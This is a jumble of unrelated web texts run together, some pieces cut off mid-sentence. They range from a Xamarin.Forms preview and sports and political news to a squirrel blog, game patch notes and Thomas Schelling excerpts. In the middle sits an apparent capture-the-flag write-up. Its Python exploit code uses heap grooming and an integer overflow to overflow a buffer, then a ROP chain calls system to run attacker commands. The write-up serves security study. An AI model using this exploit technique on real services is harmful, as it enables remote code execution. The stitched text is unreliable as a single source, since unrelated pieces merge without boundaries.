You can supply the value to the control, which is one-way. But you could also require the control to update the value in your code, so the value goes both ways and is therefore known as two-way and there some other, less significant ones.
Every time a value needs to be updated, depending on the mode, a few cycles through your code are fired off. This means, when you have a page with a number of data-bound controls, performance could go down.
To make it more performant, Xamarin is now introducing a new data-binding mode: one-time binding.
Note: Do not confuse this with the one-way binding mode. The one-time binding mode, as you could imagine from the name, just ingests the value of the property it is bound to once, the first time the binding is being set up. After that, the binding is not being evaluated anymore.
More flexibility
If you have some affinity with web development, you might know (and love) the FlexLayout (or Flexbox, more information: https://css-tricks.com/snippets/css/a-guide-to-flexbox/) system. This system is being translated into a Xamarin.Forms version and incorporated in this new version they are releasing.
For those who aren’t very familiar with web development; the Flexbox layout system provides for a way to efficiently lay out, distribute and align space amongst items in a container. This also works for elements with an unknown size, hence the word ‘flex’.
There is not much known right now on how Xamarin wants to implement this, but looking at the Flex system in web applications, we might see more out-of-the-box responsiveness and automatic calculations of UI elements.
Improved styling options
Together with the FlexLayout system, they are also expanding the Forms styling options.
And again, if you are a web developer in disguise, you will love this! CSS has proven to be an easy-to-learn, yet powerful way of styling user interfaces. And now, the team at Xamarin is actually implementing more CSS-like styling options into Xamarin.Forms.
Although there is no actual detail available yet, it is a much-heard request from the community. And as a big fan of everything that is simple, but effective, I can’t wait to see what they have in store for us with this.
XAML Standard
One of the first critical notes that was heard after the release of Xamarin.Forms, was the incompatibility with the WPF XAML.
Although most of it has the same syntax, the XAML definition used in Forms deviates in some areas from the syntax used in WPF. For example, in WPF there is a layout element which is called a StackPanel. In Xamarin they named it a StackLayout.
Initially, I presume, this was done for two reasons. One, the naming of the WPF components did not always sound logical for the use on mobile. Secondly, the team at Xamarin wanted to prevent developers from just copy and pasting their (desktop) WPF layout to a Xamarin app without rethinking the layout.
If developers would be able to copy layouts from their existing apps, there probably would have been a lot of unusable apps out there right now. Because the design paradigms for desktop applications just aren’t suitable for mobile.
To overcome the confusion of the different XAML dialects, Microsoft has announced XAML Standard.
With XAML Standard, a unified language will be developed and you will be able to exchange layouts between Windows 10 and Xamarin Forms and whichever platforms that will support XAML Standard in the future.
Besides the way you define your controls, nothing will change. XAML will still be the way to define your UI in an abstract matter and the controls will still be rendered to their native counterpart.
Looking at the draft of XAML Standard version 1, which can be found here: https://github.com/Microsoft/xaml-standard/blob/staging/docs/v1draft.md, it looks like the naming will go back to the WPF/Windows 10 dialect. As a Forms developer, that will take some getting used to.
Figure 2: A sample of XAML Standard based on the first draft. Image courtesy by Microsoft.
Work with these hot bits, today!
If you do not want to wait for the official release, you can already take a look at some parts, right now. If you want to join in, or have a look at the discussion on XAML Standard, you can visit this link: https://aka.ms/xamlstandard.
Or if you want to have a look at the Xamarin.Forms Embedding, you can follow these steps:
Add the proprietary Xamarin.Forms feed to your IDE: https://www.myget.org/F/xamarinforms-dev/api/v3/index.json
Clone the demo application created by David Ortinau: https://github.com/davidortinau/build2017-new-in-xamarin-forms
You should be able to restore the NuGet package needed, Xamarin.Forms 3.0.0.100-embeddingpreview, to the project.
The rest of the features are still being worked on internally and are not yet out. But of course, Forms is open-source these days, so you should be able to see some of the work on the repository: https://github.com/xamarin/Xamarin.Forms/
Xamarin.Forms vNext - Final thoughts
This is just a handful of features and improvements that are coming to Xamarin.Forms.
To read up on everything that is planned, take a look at the roadmap, which is on the Forums, here: https://forums.xamarin.com/discussion/85747/xamarin-forms-feature-roadmap/p1.
Most notable is that ‘only’ two new controls are planned and the rest is targeting performance and stability mainly. But still, things like packaging Forms into one single DLL, implementing a Visual State Manager, supporting.NET Standard 2.0, adding G18n support and much more are on the list as well. There will be enough new awesome stuff to work with.
All these goodies are planned for the third quarter of 2017, which has probably arrived by the time you are reading this. But of course some of the features could have been pushed back and might be available to use later.
I hope that you are as enthusiastic as I am about this next step in the evolution of Xamarin.Forms, and will create even more awesome apps with these goodies. If you have any questions or comments, or you want to show off your Xamarin app, please do not hesitate to contact me.
Thanks to Yacoub Massad for reviewing this article
C# and.NET have been around for a very long time, but their constant growth means there’s always more to learn. We at DotNetCurry are very excited to announce the The Absolutely Awesome Book on C# and.NET. This is a 500 pages concise technical eBook available in PDF, ePub (iPad), and Mobi (Kindle). Organized around concepts, this eBook aims to provide a concise, yet solid foundation in C# and.NET, covering C# 6.0, C# 7.0 and.NET Core, with chapters on.NET Standard and the upcoming C# 8.0 too. Use these concepts to deepen your existing knowledge of C# and.NET, to have a solid grasp of the latest in C# and.NET OR to crack your next.NET Interview. Click here to Purchase this eBook at a Discounted Price!ISTANBUL
A man who insulted Mustafa Kemal Ataturk, the founder of modern Turkey, was jailed for two-and-a-half years on Wednesday.
Hasan Akar, in his mid-50s, was sentenced after being convicted of defaming Ataturk’s memory and “inciting people to hatred and hostility” by a court in Bakirkoy, Istanbul.
The case was brought after a video made by Akar showing him swearing about the first president was aired by the private Kanal D TV channel on May 9.
Ataturk, whose name means father of the Turks, was a hero of World War I who went on to lead Turkey in its War of Independence before founding the modern state in 1923. He is deeply respected in Turkey, where laws protect his name and memory.
Reporting by Melike Gallenkus; Writing by Fatma BulbulRonaldinho is a Brazilian footballer regarded as one of the best players of his generation. This biography of Ronaldinho provides detailed information about his childhood, life, achievements, works & timeline
2012 - Bola de Ouro 2006 - Best Soccer Player ESPY Award 2004 - FIFA 100 2009 - Golden Foot 2006 2005 2004 - UEFA Team of the Year 2006 - UEFA Club Footballer of the Year 2004 - Trofeo EFE 2007 2006 2005 - FIFA FIFPro World XI 2006 2005 - FIFPro World Young Player of the Year
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Ronaldinho is a Brazilian footballer considered to be one of the best players of his generation. A player regarded for his technique, tricks, overhead kicks, and dribbling, he was a member of Brazil's 2002 World Cup winning team. Playing in his very first World Cup, in 2002, he scored the game-winning score in a quarter-final victory over England. Along with Ronaldo and Rivaldo, he was a part of the attacking trio that made the Brazilian team one of the most formidable ones in international football. Born as the son of a small-time footballer, Ronaldinho developed an early interest in the game and started playing in the youth club matches by the time he was eight. He first caught the media’s attention when as a 13 year old he scored all 23 goals in a 23–0 victory against a local team. Identified as a rising star, he made his senior side debut during the 1998 Copa Libertadores and eventually signed a five-year contract with French side Paris Saint-Germain in 2001. He was a member of the Brazilian squad in the World Cup 2002 and played an active role in helping his team clinch the championship. He later on joined the FC Barcelona of the Spanish league and achieved great success over the next few years, winning back-to-back FIFA World Player of the Year awards in 2004 and 2005
Image Credit http://images-gededah.in/2014/06/ronaldinho/ Image Credit http://www.mutluduvar.com/index.php/Soccer-Players/Ronaldinho-Gaucho-Pictures-Wallpapers-Gallery/ronaldinho-best-player Image Credit https://en.wikipedia.org/wiki/Ronaldinho Image Credit https://www.fourfourtwo.com/news/ronaldinho-retires-a-shining-light-brazils-2002-world-cup-winning-team Image Credit http://www.marca.com/futbol/barcelona/2017/10/16/59e3bd03468aeb99248b4637.html Image Credit https://en.wikipedia.org/wiki/Ronaldinho Image Credit http://www.101greatgoals.com/blog/ronaldinho-close-to-signing-for-new-york-red-bulls-brother-assis-negotiating-move-uol/ Previous Next
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RonaldinhoIn North America both sport and trad rock climbs are graded using the YDS (Yosemite Decimal System). This system starts at 5.0 (like climbing a steep ladder) and progresses in difficulty up to 5.15 (an overhanging cliff). The grade of a rock route is usually based on the crux, the most difficult move. The first climber to complete a route assigns a grade, which can change as more people make the ascent and come to a consensus.
Grades are subjective. Standards vary among climbing areas. Routes may feel substantially harder than their grade indicates depending on the weather, the length of the route, the type of rock, the whims of the first ascensionist, any number of factors.
Use this chart as a rough guide to compare climbing and bouldering grades in other parts of the world.“If you believe you can fly – You will”
Lyrics :
When I walk down the streets…
And the world frowns on me…
When I look for it somewhere…
I can’t see…
Sometimes I wonder..
Where am I going…
There’s little me…
Crying inside…
I don’t know why
my heart tells me to fly…….
If you believe…
If I believe…
If we believe…
We will fly….
There’s nothing
that you can’t do…
Coz what matters
to us is YOU…
When you feel
that everything is falling apart…
when you see
that nothing seems to be right…
It’s a test of your might…
so give some fight…
you’re going right…
you’ll reach greater height…
If you believe…
If I believe…
If we believe…
We will fly….
There’s nothing in this world…
that you can’t do…
there’s nothing in this world…
that I can’t do…
there’s nothing in this world…
that we couldn’t do…
if we believe we can fly…
– A bird.A few weeks ago our landscaper found a couple of baby squirrels and we’ve been raising them ever since. They were three or four weeks old when we got them, old enough that their eyes were open and they had fur, but not old enough to be all that active. Here we are at six or seven weeks old and their actively level has shot through the roof, they’ve gotten squirrelly.
Soon they should be old enough to be let free. In the meantime they live in my sun room.
Do you like little poop pellets?
It’s an interesting fact that squirrels will not go to the bathroom in their nest. The other side of this statement is that they’ll go anywhere else that suits them. This includes the floor, your furniture, and even you. Squirrels produce small and hard poop pellets, of which they produce about a billion a day. Even when locked in their cage you will still manage to find little poops all over the house. I believe they ride on the wind like a dandelion seed.
The only upside to all of this is that the poops come out dry and scentless. I guess that’s a win.
Squirrels will scratch the holy hell out you.
Squirrels have sharp little claws, unlike a cat, these claws are always out. Squirrels also love to climb on you, its a wondrous squirrel activity to run up and down and all around you as you scream in pain from the thousand cut torture. Sadly, you’ll find yourself liking this. My hands look like a teenage cutter. I keep squirrels so that I can feel.
Another thing of note, squirrels can jump very far. If you get within ten feet of a squirrel and they want on you, they’ll jump on you. This could mean jumping on your back, your head, or your face. Good times.
Squirrels Enjoy Chewing
Wicker furniture seems to be the favorite chew toy. They’ll also chew up all of the plastic bits in their cage, turn any branches you give them to saw dust, and they also enjoy shredding fabric. If you want to keep something, don’t leave it where a squirrel can find it.
Squirrels do not Have Empathy
Unless you have food on your person, squirrels are indifferent to your problems. They do not come over to be petted, they do not want to cuddle. If they do not want to be picked up even their most gentlest attempts to escape result in painful scratches.
They’re you’re best friend if you have food. All the same they’ll stab you in the face for a walnut.Prime Minister David Cameron is now at liberty to embark on a programme of welfare cuts with fears for the most vulnerable in society.
Former Labour London Mayor Ken Livingstone has called the Tory landslide election victory "five more years of pure evil", while TV star Paul O'Grady compared David Cameron to the Sheriff of Nottingham for treating hard-pressed working people as "peasants".
He added: "The Bedroom Tax is bloody ridiculous. I think it's disgusting and just another way of taxing people."
The Tories will be able to amass £250m a year in housing benefit until 2020 by making a million more families pay the bedroom tax.
The number will rise by 220,000 a year with people paying an average £3,800 over the five-year term of this government.
A report last week said the bedroom tax may even rise above the present average of £14 a week for one extra bedroom and £25 for two.
The bedroom tax – officially known as under occupancy charge or the Spare Room Subsidy – is a change to housing benefit entitlement. It that means people will receive less in housing benefit if they live in a housing association or council property that is deemed to have one or more spare bedrooms.
Having one spare bedroom means losing 14% of entitled housing benefit, while two or more spare bedrooms means losing 25% of entitlement. The tax started affecting properties with spare bedrooms in April 2013.
Stephanie Bottrill killed herself in August 2014, blaming the bedroom tax. In a final note left for her son, she said: "Don't blame yourself for me ending my life. The only people to blame are the government."
A leaked Whitehall paper drawn up in March suggested a number of further cuts for consideration such as reducing eligibility for Carers' Allowance, and limits on child benefit.
In a Guardian report, the Institute for Fiscal Studies said: "Even if all of the reforms discussed today were implemented, alongside confirmed Conservative party policies, the total saving would be likely to fall well short of the £12bn per year that the Conservatives intend."Secretary of State Rex Tillerson on Wednesday reaffirmed his support for President Trump in a public statement from the Treaty Room of the U.S. Department of State. “My commitment to the success of our president and our country is as strong as it was the day I accepted his offer to serve as secretary of state,” he said. “President Trump’s ‘America First’ agenda has given voice to millions who felt completely abandoned by the political status quo and who felt their interests came second to those of other countries.” Tillerson reportedly nearly quit his post last summer after the real-estate magnate’s polarizing speech to the Boy Scouts of America in July, calling the president a “moron”; Vice President Mike Pence allegedly intervened. “While I’m new to Washington, I have learned that there are some who try to sew dissension to advance their own agenda by tearing others apart, in an effort to undermine President Trump's own agenda,” Tillerson said of the reports. And regarding the claim that he called the president a “moron,” Tillerson said: “I’m not going to deal with petty stuff like that.” Following the presser, MSNBC reporter Stephanie Ruhle clarified: “My source didn’t just say he called him a moron. He said he called him an f-ing moron.”Hi All,- Fish and comfreys now spawn with stats more strictly tied to the tier that spawns* for instance, a herring should no longer spawn with sardine level stats- The stats of fish you catch will be displayed briefly in the fishing popup window- The +prof text popup will now display the skill being used. Eg; +5 Glyphing- All mobs will now display their actual name, rather than a random name. Special battles will still be designated with unique random mob names- Ice Mastery can now spawn on items- Fire Mastery can now spawn on items- Lightning Mastery can now spawn on items- Earth Mastery can now spawn on items- Wind Mastery can now spawn on items- Element Mastery stats will increase the damage of that particular element, as well as increase your elemental resistance against damage taken for that element.- Magic Damage Reduction will continue to be an "all resistance" style mod, and it stacks with the individual ones for defense purposes.- If your effective element reduction total is over 100%, you will absorb the % amount over 100. For instance, if you have 105% fire mastery/MDR, you will absorb 5% fire damage.- Evil Presence mob counts will now better reflect the party size (slightly less chance of 3 during solo, for instance)- Only single mob Evil Presences will be allowed to spawn for new solo players to help ease them into the game. (New is defined as < 500 kills -- so this also helps with new HC characters)- The objective Face the Evil was tweaked again to spawn for players more frequently than previouslyNew Monster Abilities:Bloodrat now has a chance to use Blood Transfusion (chance to gain temporary life steal)Magaton now has a chance to use Heal Twin and Critaboost (temporary +critical strike)Fizzypup now has a chance to use Fast Fire (double fire attack)Frisp now has a chance to use Flittering Flames (chance to replicate when hit)Tonguerus now has a chance to use Heal FrenzyMake sure to return to the main http://ladderslasher.d2jsp.org portal and reclick your desired game size to get to the 1.27.0 version.Much more to come, hopefully soon, getting more pieces done towards some longer term goals. This is a fairly big step in that direction.ThanksI’ve been re-reading some Thomas Schelling, and reminded of how much insight there is on nearly every paragraph of every page (as has been said: “whole careers in international relations have been built out of codifying a few sentences in Schelling”).
Some excerpts, below.
First, The Strategy of Conflict (1960):
On the (then) paucity of strategic studies:
“[M]ilitary services, in contrast to almost any other sizable and respectable profession, have no identifiable academic counterpart … Within the universities, military strategy in this country has been the preoccupation of a small number of historians and political scientists, supported on a scale that suggests that deterring the Russians from a conquest of Europe is about as important as enforcing the antitrust laws”. (p8)
On trying to persuade someone you’ll carry out an irrational threat:
“And one can suspend or destroy his own “rationality”, at least to a limited extent; one can do this because the attributes that go to make up rationality are not inalienable, deeply personal, integral attributes of the human soul, but include such things as one’s hearing aid, the reliability of the mail, the legal system, and the rationality of one’s agents and partners”. (p18)
The famous part on trip-wires:
“We are led in this way to a new interpretation of the ‘trip-wire’ [of US troops in Europe]. The analogy for our limited war forces in Europe is not, according to this argument, a trip wire that certainly detonates all-out war if it is in working order and fails altogether if it is not. What we have a graduated series of trip wires, each attached to a chance mechanism, with the daily probability of detonation increasing as the enemy moves from wire to wire. The critical feature of the analogy, it should be emphasized, is that whether or not the trip wire detonates general war is – at least to some extent – outside our control, and the Russians know it”. (p192)
On brinksmanship and the brink:
The brink is not, in this view, the sharp edge of a cliff where one can stand firmly, look down, and decide whether or not to plunge. The brink is a curved slope that one can stand on with some risk of slipping, the slope gets steeper and the risk of slipping greater as one moves toward the chasm. But the slope and the risk of slipping are rather irregular … Brinksmanship is thus the deliberate creation of a recognizable risk of war, a risk that one does not completely control. It is the tactic of deliberately letting the situation get somewhat out of hand, just because its being out of hand may be intolerable to the other party and force his accommodation”. (p200)
On the social construction of nuclear red-lines:
“The inhibition on the penetration of a border, or on the introduction of a new nationality into the conflict, is like that on the introduction of a nuclear weapon; it is the risk of enemy response. And an important determinant of enemy response is his appreciation of what he has tacitly acquiesced in if he fails to respond, or makes only an incremental response, to our symbolically discontinuous act. What we are dealing with in the anaysis of limited war is tradition. We are |
_loop function.
Quickly looking at the calls we see a lot of standard socket calls. We can make an educated guess that this is setting up the server and that probably process_connection will do as it says: process incoming connections to the server. Let’s see what that body will do for us.
And here we see where things will get a little fun. We see a recv call followed by a pthread_create. In theory, this should receive information from the socket created in the parent function and then possibly hand off that data into a seperate thread. Let’s see what function will be called in the thread itself.
Looks like process_host will be the meat of the thread. Reversing this function shows us that the first bytes received are a type of header:
2 bytes - Number of connections 2 bytes - Port to connect to 4 bytes - Host to connect to
We send these 8 bytes to the server, and then a series of connections occur back to the host and port we specified. In order to test this theory, let’s create a small harness.
from pwn import * import socket import threading import random p = random. randint ( 20000, 50000 ) num_threads = 90 def thread_listen ( port = 9999 ): l = socket. socket () l. bind (( '0.0.0.0', port )) l. listen ( 5 ) for i in xrange ( num_threads ): c, _ = l. accept () print ( c, _ ) def thread_send ( c, size1, size2, index = 0xffff ): pass def start_threads (): t = threading. Thread ( target = thread_listen, args = ( p, )) t. daemon = True t. start () return t curr_t = start_threads () # Host to connect to r = remote ( '172.17.0.2', 24242 ) n_threads = p16 ( num_threads ) # Host for the server to connect back to connect_host = socket. inet_aton ( '172.17.0.1' ) payload = n_threads payload += p16 ( p ) # port payload += connect_host r. sendline ( payload ) r. interactive ()
This script will be the basis for continuing our exploit. The script starts one main thread by calling start_threads which has the function thread_listen. Currently, thread_listen simply binds to a random port and prints out the connection for each accepted connection. After this thread is started, we send our 8 byte payload containing our number of connections we want to receive, the port to connect back to, and the host to connect back to (ourselves). Running this script against the docker container results in the followning.
Now that we receive connections, let’s see what we can control in these connections. Looking further in process_host we see the following packet structure being decoded:
2 bytes - Header Version - Must be 1 2 bytes - Size1 4 bytes - Length - Must be <= 0x40000000
The first two bytes are a static check against the number 1, so we can hard code that into our exploit. The next 6 bytes are interesting. It appears to be two size values, one 2 bytes and the other 4 bytes. The 4 byte length is checked to be under 0x40000000 and then the sum of both sizes is allocated via malloc. This chunk and size are passed to a recv call to fill with our data as well.
Now that we have this reversed, let’s add a bit more to our exploit to confirm.
def thread_listen ( port = 9999 ): l = socket. socket () l. bind (( '0.0.0.0', port )) l. listen ( 5 ) for i in xrange ( num_threads ): c, _ = l. accept () print ( c, _ ) t = threading. Thread ( target = thread_send, args = ( c, 0xad, 0xde00 )) t. start () def thread_send ( c, size1, size2 ): version = p16 ( 1 ) # malloc(size1 + size2 + 8) # size1 = p16(size1) # 16 bit size # size2 = p32(size2) # 32 bit size, must be <= 0x40000000 header = version + p16 ( size1 - 8 ) + p32 ( size2 ) payload = header payload += 'A' * ( size1 + size2 )) c. send ( payload )
Here, we add a bit more logic to our thread_send function so that we send the correct header filled with enough A to fill the sum of the sizes.
Also, now that we are going to be debugging the binary, let’s be sure to change our send to and connect back IPs to localhost so we can debug locally. To check that we are correct with our reversing, let’s break at the malloc and see if our size ( 0xde00 + 0xad ) is correct.
Once we send a correct header, the binary attempts to process our request in process_host. There is a apparently some functionality when requesting three types of opcodes: E, T, H. If curious about what these do, feel free to look at the binary. Luckily for this writeup, this functionality is useless. The main part of process_host is the parse_opcode function.
tl;dr - This loop is a copy loop copying loop_counter bytes into our destination. Essentially, if we can control this value, we could potentially overflow the destination buffer. Now let’s check to see where loop_counter comes from.
Looking at the end of this block, we check that copy_length+1 is less than 256, but in a signed comparison see jle. Interesting, this could be an integer overflow. If copy_length is 0x7fffffff then +1 would make it 0x8000000 which is definitely less than 256 in a signed comparison. We’ll keep that in the back of our head for now. Looking at where copy_length comes from, we see it is set in decode_length.
Reversing decode_length, we see that a pointer at size1 into our buffer is passed as an argument as well as the pointer to copy_length. The pointer into our buffer must hold two characteristics in order to get to the juicy part of this function:
Upper bit is 1 aka 0x80
aka Lower nibble can only be 1, 2, 3, or 4
At this point, the bytes after our first byte is passed to an ntohl call and then shifted by 4 - lower_nibble. This result is stored in copy_length (which we want to be 0x7fffffff ). A pointer to size1 + lower_nibble is returned back to us from decode_length. There is one bit of arithmetic that we skipped in parse_opcode.
After decode_length, the result is subtracted from the pointer to size1 in our buffer, effectively giving us a the lower nibble of our magic byte from above ( 1 through 4 for you playing at home). This value is subtracted from an argument to parse_opcode, which turns out to be size2 from our packet. The difference of this subtraction must be greater than our copy_length in order to reach the memcpy like functionality which we believe will give us an overflow. Becuase we control size2 and lower_nibble, we can force an underflow, forcing this comparison to pass.
Let’s recap the discovered properties in order to pass the checks.
Buffer sent by us is size1 + size2 in length
+ in length Buffer[ size1 ] must be 0x84, because we want lower_nibble to be 4
] must be 0x84, because we want lower_nibble to be 4 size2 must be 3, so that the subtraction of size2 - lower_nibble = 0xffffffff
must be 3, so that the subtraction of - = 0xffffffff > copy_length which comes from buffer[ size1 +1:] which we also control
> which comes from buffer[ +1:] which we also control copy_length +1 < 256 due to integer overflow
+1 < 256 due to integer overflow???
PROFIT
Implementing this, we realize that copy_length can only ever be 3 bytes since that the only the amount of data that we can send, meaning copy length can only ever be 0x7fffff00. Remember size1 + size2 is all the data we can send. So we need one more piece of the puzzle in order to set copy_length to our desired value.
Heaps of fun
I sat on this portion for quite awhile before I realized why we could trigger so many threads. Looking back at where our sent buffer is stored in memory, we see that the buffer is actually stored on the heap. What if we happen to reuse a portion of the heap that was previously used by a different thread for our buffer, which might fill our remaining byte needed to create the 0x7fffffff? This was exactly the case.
The plan of attack to fill the remaining byte is below:
The first response will set size1+size2 to be a massive chunk, nearly filling up the entire heap with 0xff s.
to be a massive chunk, nearly filling up the entire heap with s. Each subsequent response will allocate small chunks, hoping to reuse one of those bytes and fill in our 0x7fffffff value
The code used to create this effect is below:
def thread_listen ( port = 9999 ): l = socket. socket () l. bind (( '0.0.0.0', port )) l. listen ( 5 ) for i in xrange ( num_threads ): conn, _ = l. accept () print ( conn, _ ) if i == 0 : t = threading. Thread ( target = thread_send, args = ( conn, 0xffff, 0x9000 )) else : t = threading. Thread ( target = thread_send, args = ( conn, 0x20 - 3, 0x3, i )) t. start () def thread_send ( c, size1, size2, index = 0xffff ): # malloc(size1 + size2 + 8) # size1 = p16(size1) # 16 bit size # size2 = p32(size2) # 32 bit size, must be <= 0x40000000 version = p16 ( 1 ) header = version + p16 ( size1 ) + p32 ( size2 ) c. send ( header ) if size1 == 0xffff : # First thread buff ='\xff'* ( size1 + size2 ) c. send ( buff ) else : # All other threads buff = p8 ( 0xff ) * ( size1 ) buff += p8 ( 0x84 ) # Signed first bit buff += p8 ( 0x7f ) buff += p8 ( 0xff ) buff += p8 ( 0xff ) c. send ( buff )
A few things have changed here. We add an index argument to thread_send in order to differentiate between first and other threads. We add a second thread start in thread_listen. Lastly, we added the two thread bodies in thread_send to send the appropriate buffer depending on which thread is executing.
If everything worked out, we should be able to see a value of 0x7fffffff in parse_opcode after decode_length is called.
We have one more step to figure out at this point. We are now crashing at the end of the stack, which probably means that we are copying so much data that we blow past the page boundary. Lucky for us, the binary gives a terminating value of 0x80 to stop copying data. Let’s chunk the first thread’s data so that we don’t blow past the page.
if size1 == 0xffff : # First thread buff = [] split_size = 0x200 for _ in xrange (( size1 + size2 ) / split_size ): buff +='\xff'* ( split_size ) buff +='\x80'buff = ''. join ( buff ) c. send ( buff )
And now we are in a prime position to ROP. Time for the home stretch!
Stop, ROP, and Profit
Back at the beginning of the binary, we see a system call after a getenv call. This seems like an obvious use of giving system to us to use for our ROP chain. This should make our ROP chain pretty straight forward.
Call recv into a writable region and send some command to run
into a writable region and send some command to run Send a command from our main thread that is written to the writable region
Call system on the pointer to that region
The only hiccup here was not having our socket file descriptors already on stdin/stdout. We could attempt to dup those, but that would be too much work. We can simply add >&4 to the end of our command to redirect the output to fd 4, which should be our socket.
We create the ROP chain, adding a bit of ROP NOP sled (aka ret instructions) to the beginning for good measure since we don’t actually know where we will land in the heap and drop it at the end of each of our chunks in our first sent response.
recv = p32 ( 0x8048be5 ) system = p32 ( 0x80496de ) ret = p32 ( 0x8049702 ) adjust = p32 ( 0x80487ee ) rop = [] for _ in xrange ( 50 ): rop. append ( ret ) rop. append ( recv ) rop. append ( adjust ) # Clean up the stack for the system call rop. append ( p32 ( 4 )) # Original thread fd rop. append ( p32 ( 0x804c098 )) # Global address to read into rop. append ( p32 ( len ( command ))) # len('/bin/sh ls 1>&4<0\0') rop. append ( system ) rop. append ( p32 ( 0x804c098 )) rop. append ( p32 ( 0x80808080 )) # End the copy rop = ''. join ( rop ) if size1 == 0xffff : buff = ['\x11\x22'] # Need a slight adjustment as EIP is 2 bytes off # for _ in xrange((size1+size2+8)/0x200): for _ in xrange (( size1 + size2 ) / 0x200 ): buff +='\xff'* ( 0x200 - len ( rop )) buff += rop for i in xrange ( len ( buff ) % 4 ): buff +='\x80'buff = ''. join ( buff ) c. send ( buff )
If everything does as planned…
We do get command execution!
git clone https://github.com/ctfhacker/ctf-writeups
For relevant code for this writeup:Former Soviet leader Mikhail Gorbachev knows a thing or two about warfare in Afghanistan, having ordered Soviet troops out of the country two decades ago, and Wednesday he passed on a little advice to the NATO troops and allied forces fighting there now: Victory is “impossible” on that battleground. –KA
Mail Online:
Russia is set to return to the war in Afghanistan 21 years after its forces were driven out of the country.
Moscow has agreed to help train the Afghan army and anti-narcotics troops — at the request of the same Western countries who helped remove Russia from the country in the late 1980s.
But Mikhail Gorbachev today warned Nato that victory in Afghanistan is ‘impossible’.
The former leader of the Soviet Union, who pulled Russian troops out of Afghanistan in 1989, said President Barack Obama is right to start withdrawing U.S. forces from the country next year.
Read moreFormer RNC director convicted in phone jamming case gets off without penalty John Byrne
Published: Friday February 20, 2009
Print This Email This Judge rules new charges are 'vindictive' The Republican National Committee employee convicted of a plot to jam the phone banks of Democratic get-out-the-vote efforts in New Hampshire in 2002 has escaped penalty in his case, after a federal judge ruled that new charges against him could not be brought.
The latest charges against James Tobin, whose at least $722,000 dollars in legal fees were paid for by the Republican National Committee, were nixed by a federal judge on Thursday.
Tobin was convicted in December 2005 by a New Hampshire jury of being part of a conspiracy to jam Democratic phone banks led by Democrats and a nonpartisan firefighters union on Election Day 2002.
That night, Republican Senate candidate John Sununu narrowly defeated Democratic Gov. Jeann Sheehean in a closely contest Senate race.
But after his 2005 conviction, Tobin found himself legally absolved after the First Circuit Court of Appeals overturned the ruling in his case, finding that the telephone harassment statute under he was convicted "was not a good fit for what [he] had been convicted of doing."
Government prosecutors then sought fresh charges against the former RNC reigional field director on making false statements. Tobin was indicted by a Portland federal grand jury in October.
But district Judge George Singal agreed with attorneys for Tobin and ruled Wednesday that bringing new charges against the former GOP political organizer qualified as a vindictive prosecution.
The vindictive prosecution doctrine places constitutional limits on prosecutors' discretion. Singal said those limits were exceeded in Tobin's case.
The judge's decision came less than two weeks after a hearing on a motion by Tobin's attorneys to dismiss the indictment against Tobin.
Tobin was indicted in October by a federal grand jury in Portland on two counts of making false statements about the phone-jamming incident to an FBI agent.
It's unclear whether the RNC continues to have paid for Tobin's lawyers. Upon his sentencing, the national GOP organization paid $1.7 million to the lawfirm representing Tobin, which could have put the price tag for his defense at well over $2 million.
With AP.
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The Orlando Magic were about to squander a 17-point fourth-quarter lead, giving their season opener a familiar feel.
Then Evan Fournier helped get 2017-18 off on a different foot.
Fournier made three clutch shots to slow the hard-charging Miami Heat, and the Magic held on for a 116-109 win on Wednesday night — its first season-opening victory since 2012.
CONTINUE BELLOW AFTER THIS AD
Last year, Orlando often lost confidence and poise in late, tight situations. But when Miami pulled within two points with 2:39 remaining, Fournier went to work, scoring seven of his team-high 23 points in the final 2:27.
“Obviously I was still confident, but I think two or three years ago that’s a game we would have lost,” Fournier said. “It shows growth from us players.”
Prior to Fournier’s surge, the Magic were reeling. Orlando went more than three minutes without a point after Jonathon Simmons’ two free throws with 5:39 remaining.
In between, Miami staged an 11-0 run and moved within 105-103 on Goran Dragic’s two free throws with 2:39 left.
Then Fournier hit his 3, cutting off Miami’s rally.
“That’s good but I wish we would have killed the game when we were up 17,” Fournier said. “It’s hard to tell right now what happened, maybe we were too confident. But when you are up 17, you have to kill the game.”
Second-year Magic coach Frank Vogel was pleased Fournier stepped up. James Johnson, Dion Waiters and Dragic had been pushing Miami hard while Orlando missed shots during the 11-0 stretch.
“The best way to stop a run is to score the ball,” Vogel said. “Evan kept us in the game and sealed the game for us by continuing to play good offensive basketball. You need a guy like that to carry the load. He was terrific tonight.”
Orlando center Nikola Vucevic had 19 points, 13 rebounds and two blocks. Miami was led by Hassan Whiteside, who dominated the paint in the second half. Whiteside finished with 26 points and 22 rebounds.
Heat coach Erik Spoelstra was disappointed his team couldn’t find a way to complete the comeback.
“If we want to get where we want to get with this group, we’re going to really have to commit to those tough things, those physical things,” Spoelstra said. “All of those these things we’re capable of, and we’ve shown flashes of it.”
TIP-INS
Heat: All five of Miami’s starters scored in double figures. Kelly Olynyk had 10 points in his first game with the Heat and Waiters had 15. … Whiteside had 10 rebounds in the first half.
Magic: Rookie Jonathan Isaac, the No. 6 overall pick in June’s NBA Draft, converted his first NBA attempt on a put-back late in the first quarter. … Gordon took a hard hit from Whiteside on a baseline drive late in the second quarter. Gordon remained on the floor momentarily before getting up. The play was reviewed and ruled a common foul.
Rookie mistake
Isaac said he was so nervous Wednesday that he forgot to put his jersey on under his warmups prior to the game. He said it was about five minutes into the game before he finally got his jersey. He didn’t go in until 3:10 remained in the first quarter.
Up next
Heat: Host Indiana on Saturday night.
Magic: Play at Brooklyn on Friday night.
Orlando Magic Hold off Miami Heat 116-109 in Season Opening Game. Evan Fournier helped get 2017-18 off on a different foot for Orlando who had been reeling.Just what should be done about unemployment, and in particular, youth unemployment? The right of the Conservative Party, most recently exemplified by Liam Fox's list of demands for the 2012 Budget, have a very simply answer: deregulate the labour market. And even commentators claiming to be on the left (George Eaton in the New Statesman) have suggested that the youth minimum wage should be frozen if the Low Pay Commission concludes that this would reduce youth unemployment.
What is most surprising perhaps is that these arguments should gain such currency at a time when the market fundamentalist model from which they draw inspiration has manifestly failed. The demand for light touch regulation of financial services (and indeed all markets) is what got us into this mess in the first place. The level of hypocrisy is staggering: senior executives must have access to undeserved colossal bonuses and salaries (because that's how the global market works apparently), but the most vulnerable in the labour market must see their wages cut and employment protection weakened.
